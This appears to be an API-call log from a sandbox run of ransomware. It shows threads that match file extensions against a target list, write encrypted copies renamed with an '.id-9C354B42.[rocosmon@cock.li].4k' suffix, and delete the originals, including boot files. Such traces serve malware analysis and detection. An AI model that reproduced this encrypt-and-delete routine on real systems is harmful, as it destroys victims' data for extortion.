	[0106.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0106.730] GetLastError () returned 0x0
	[0106.730] ReadFile (in: hFile=0x21c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x5534, lpOverlapped=0x0) returned 1
	[0106.737] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5540, lpOverlapped=0x0) returned 1
	[0106.817] ReadFile (in: hFile=0x21c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.817] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.817] SetEndOfFile (hFile=0x1f8) 

Thread:
	id = 10
	os_tid = 0xa68

	[0087.584] GetTickCount () returned 0x1c6c7
	[0087.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4f09a8
	[0087.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f09a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0087.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f09a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0087.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f09a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0087.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f09a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0087.597] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0087.597] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x4d5d40
	[0087.597] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0087.597] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x4d5bd8
	[0087.597] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.597] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.597] Wow64DisableWow64FsRedirection (in: OldValue=0x2a0ff84 | out: OldValue=0x2a0ff84*=0x0) returned 1
	[0087.598] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5d40 | out: hHeap=0x4a0000) returned 1
	[0087.598] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4fd410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144
	[0087.599] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0087.987] GetTickCount () returned 0x1c744
	[0087.987] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0088.172] GetTickCount () returned 0x1c7ff
	[0088.172] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0088.489] GetTickCount () returned 0x1c87c
	[0088.489] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0088.669] GetTickCount () returned 0x1c927
	[0088.669] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0089.361] GetTickCount () returned 0x1cb88
	[0089.361] GetTickCount () returned 0x1cb88
	[0089.361] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0089.890] GetTickCount () returned 0x1cd8b
	[0089.890] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0090.435] GetTickCount () returned 0x1cf8d
	[0090.436] GetTickCount () returned 0x1cf8d
	[0090.436] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0090.841] GetTickCount () returned 0x1d0c5
	[0090.841] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0091.139] GetTickCount () returned 0x1d1ee
	[0091.139] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0091.323] GetTickCount () returned 0x1d2a9
	[0091.323] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0091.781] GetTickCount () returned 0x1d3f1
	[0091.781] GetTickCount () returned 0x1d3f1
	[0091.781] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0092.036] GetTickCount () returned 0x1d4ea
	[0092.036] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0092.392] GetTickCount () returned 0x1d596
	[0092.392] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0093.132] GetTickCount () returned 0x1d74b
	[0093.132] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0093.347] GetTickCount () returned 0x1d815
	[0093.347] GetTickCount () returned 0x1d815
	[0093.347] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0093.681] GetTickCount () returned 0x1d96d
	[0093.681] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0093.934] GetTickCount () returned 0x1da47
	[0093.934] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0094.412] GetTickCount () returned 0x1dc2b
	[0094.412] GetTickCount () returned 0x1dc2b
	[0094.412] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0095.469] GetTickCount () returned 0x1dd34
	[0095.469] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0096.005] GetTickCount () returned 0x1de9b
	[0096.005] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0096.125] GetTickCount () returned 0x1df08
	[0096.125] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0096.399] GetTickCount () returned 0x1e021
	[0096.399] GetTickCount () returned 0x1e021
	[0096.399] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0096.635] GetTickCount () returned 0x1e10b
	[0096.635] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0096.782] GetTickCount () returned 0x1e197
	[0096.782] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0097.111] GetTickCount () returned 0x1e2b0
	[0097.111] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0097.371] GetTickCount () returned 0x1e3a9
	[0097.371] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0098.228] GetTickCount () returned 0x1e4e1
	[0098.228] GetTickCount () returned 0x1e4e1
	[0098.228] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0098.559] GetTickCount () returned 0x1e629
	[0098.559] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0098.958] GetTickCount () returned 0x1e761
	[0098.958] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0099.134] GetTickCount () returned 0x1e80d
	[0099.134] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0099.277] GetTickCount () returned 0x1e899
	[0099.277] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0099.422] GetTickCount () returned 0x1e935
	[0099.422] GetTickCount () returned 0x1e935
	[0099.422] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0099.857] GetTickCount () returned 0x1ea7d
	[0099.857] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0100.472] GetTickCount () returned 0x1ecdd
	[0100.472] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0100.788] GetTickCount () returned 0x1ee15
	[0100.788] GetTickCount () returned 0x1ee15
	[0100.788] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0101.183] GetTickCount () returned 0x1efab
	[0101.183] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0101.432] GetTickCount () returned 0x1f0a4
	[0101.432] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0101.863] GetTickCount () returned 0x1f24a
	[0101.863] GetTickCount () returned 0x1f24a
	[0101.863] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.171] GetTickCount () returned 0x1f305
	[0102.171] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.371] GetTickCount () returned 0x1f3a1
	[0102.371] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.495] GetTickCount () returned 0x1f41e
	[0102.495] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.710] GetTickCount () returned 0x1f4e8
	[0102.710] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.816] GetTickCount () returned 0x1f556
	[0102.816] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0102.935] GetTickCount () returned 0x1f5d2
	[0102.935] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.045] GetTickCount () returned 0x1f640
	[0103.045] GetTickCount () returned 0x1f640
	[0103.046] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.179] GetTickCount () returned 0x1f6cc
	[0103.179] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.299] GetTickCount () returned 0x1f739
	[0103.299] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.397] GetTickCount () returned 0x1f7a6
	[0103.397] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.506] GetTickCount () returned 0x1f814
	[0103.506] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.617] GetTickCount () returned 0x1f881
	[0103.617] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.725] GetTickCount () returned 0x1f8ee
	[0103.725] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.835] GetTickCount () returned 0x1f95b
	[0103.835] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0103.950] GetTickCount () returned 0x1f9c8
	[0103.950] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.054] GetTickCount () returned 0x1fa36
	[0104.054] GetTickCount () returned 0x1fa36
	[0104.054] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.162] GetTickCount () returned 0x1faa3
	[0104.162] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.273] GetTickCount () returned 0x1fb10
	[0104.273] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.381] GetTickCount () returned 0x1fb7d
	[0104.381] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.489] GetTickCount () returned 0x1fbea
	[0104.489] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.599] GetTickCount () returned 0x1fc58
	[0104.599] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.708] GetTickCount () returned 0x1fcc5
	[0104.708] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.878] GetTickCount () returned 0x1fd61
	[0104.878] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0104.984] GetTickCount () returned 0x1fdce
	[0104.984] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.082] GetTickCount () returned 0x1fe3b
	[0105.082] GetTickCount () returned 0x1fe3b
	[0105.082] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.197] GetTickCount () returned 0x1fea8
	[0105.198] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.301] GetTickCount () returned 0x1ff16
	[0105.301] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.410] GetTickCount () returned 0x1ff83
	[0105.410] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.519] GetTickCount () returned 0x1fff0
	[0105.519] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.628] GetTickCount () returned 0x2005d
	[0105.628] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.740] GetTickCount () returned 0x200ca
	[0105.740] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0105.854] GetTickCount () returned 0x20138
	[0105.854] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0106.058] GetTickCount () returned 0x20202
	[0106.058] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0106.377] GetTickCount () returned 0x2034a
	[0106.377] GetTickCount () returned 0x2034a
	[0106.377] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102
	[0106.792] GetTickCount () returned 0x204e0
	[0106.792] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) 

Thread:
	id = 11
	os_tid = 0xa6c

	[0087.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x53fc90
	[0087.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x54fc98
	[0087.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0260
	[0087.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f3068
	[0087.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0278
	[0087.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3120020
	[0087.587] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0290
	[0087.587] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0290, Size=0x20) returned 0x4d5bd8
	[0087.587] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0290
	[0087.587] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0290, Size=0x20) returned 0x4d5d40
	[0087.587] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.587] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.587] Wow64DisableWow64FsRedirection (in: OldValue=0x2b0ff58 | out: OldValue=0x2b0ff58*=0x0) returned 1
	[0087.587] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.587] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.587] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.587] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5d40 | out: hHeap=0x4a0000) returned 1
	[0087.588] Sleep (dwMilliseconds=0x64) 
	[0087.980] Sleep (dwMilliseconds=0x64) 
	[0088.164] lstrcmpiW (lpString1=".LOG", lpString2=".4k") returned 1
	[0088.164] lstrlenW (lpString="BCD.LOG") returned 7
	[0088.165] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.165] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.165] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.165] lstrlenW (lpString=".doc") returned 4
	[0088.165] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0088.165] lstrlenW (lpString=".docx") returned 5
	[0088.165] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0088.165] lstrlenW (lpString=".pdf") returned 4
	[0088.165] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0088.165] lstrlenW (lpString=".xls") returned 4
	[0088.165] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0088.165] lstrlenW (lpString=".xlsx") returned 5
	[0088.165] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0088.165] lstrlenW (lpString=".ppt") returned 4
	[0088.165] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0088.165] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.165] lstrlenW (lpString=".zip") returned 4
	[0088.165] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0088.165] lstrlenW (lpString=".rar") returned 4
	[0088.165] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0088.165] lstrlenW (lpString=".bz2") returned 4
	[0088.165] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0088.166] lstrlenW (lpString=".7z") returned 3
	[0088.166] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0088.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.166] lstrlenW (lpString=".dbf") returned 4
	[0088.166] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0088.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.166] lstrlenW (lpString=".1cd") returned 4
	[0088.166] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0088.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.166] lstrlenW (lpString=".jpg") returned 4
	[0088.166] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0088.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.166] lstrlenW (lpString=".doc") returned 4
	[0088.166] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0088.166] lstrlenW (lpString=".docx") returned 5
	[0088.166] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0088.166] lstrlenW (lpString=".pdf") returned 4
	[0088.166] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0088.166] lstrlenW (lpString=".xls") returned 4
	[0088.166] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0088.166] lstrlenW (lpString=".xlsx") returned 5
	[0088.166] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0088.166] lstrlenW (lpString=".ppt") returned 4
	[0088.166] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0088.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.167] lstrlenW (lpString=".zip") returned 4
	[0088.167] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0088.167] lstrlenW (lpString=".rar") returned 4
	[0088.167] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0088.167] lstrlenW (lpString=".bz2") returned 4
	[0088.167] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0088.167] lstrlenW (lpString=".7z") returned 3
	[0088.167] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0088.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.167] lstrlenW (lpString=".dbf") returned 4
	[0088.167] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0088.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.167] lstrlenW (lpString=".1cd") returned 4
	[0088.167] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0088.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0088.167] lstrlenW (lpString=".jpg") returned 4
	[0088.167] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0088.167] lstrcmpiW (lpString1=".DAT", lpString2=".4k") returned 1
	[0088.167] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0088.167] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.168] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=65536) returned 1
	[0088.168] CloseHandle (hObject=0x164) returned 1
	[0088.168] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0088.169] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.169] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.169] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.169] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.169] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.490] GetLastError () returned 0x0
	[0088.490] ReadFile (in: hFile=0x164, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x10000, lpOverlapped=0x0) returned 1
	[0088.506] WriteFile (in: hFile=0x16c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x10010, lpOverlapped=0x0) returned 1
	[0088.508] ReadFile (in: hFile=0x164, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.508] WriteFile (in: hFile=0x16c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0088.508] SetEndOfFile (hFile=0x16c) returned 1
	[0088.508] CloseHandle (hObject=0x16c) returned 1
	[0088.515] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.515] SetEndOfFile (hFile=0x164) returned 1
	[0088.517] CloseHandle (hObject=0x164) returned 1
	[0088.517] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x26) returned 1
	[0088.517] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0088.517] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.517] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.517] lstrlenW (lpString=".doc") returned 4
	[0088.517] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0088.517] lstrlenW (lpString=".docx") returned 5
	[0088.517] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0088.517] lstrlenW (lpString=".pdf") returned 4
	[0088.517] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0088.517] lstrlenW (lpString=".xls") returned 4
	[0088.517] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString=".xlsx") returned 5
	[0088.518] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0088.518] lstrlenW (lpString=".ppt") returned 4
	[0088.518] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString=".zip") returned 4
	[0088.518] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString=".rar") returned 4
	[0088.518] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString=".bz2") returned 4
	[0088.518] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0088.518] lstrlenW (lpString=".7z") returned 3
	[0088.518] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString=".dbf") returned 4
	[0088.518] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString=".1cd") returned 4
	[0088.518] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString=".jpg") returned 4
	[0088.518] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0088.518] lstrlenW (lpString=".doc") returned 4
	[0088.518] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0088.518] lstrlenW (lpString=".docx") returned 5
	[0088.518] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0088.518] lstrlenW (lpString=".pdf") returned 4
	[0088.519] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0088.519] lstrlenW (lpString=".xls") returned 4
	[0088.519] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0088.519] lstrlenW (lpString=".xlsx") returned 5
	[0088.519] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0088.519] lstrlenW (lpString=".ppt") returned 4
	[0088.519] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
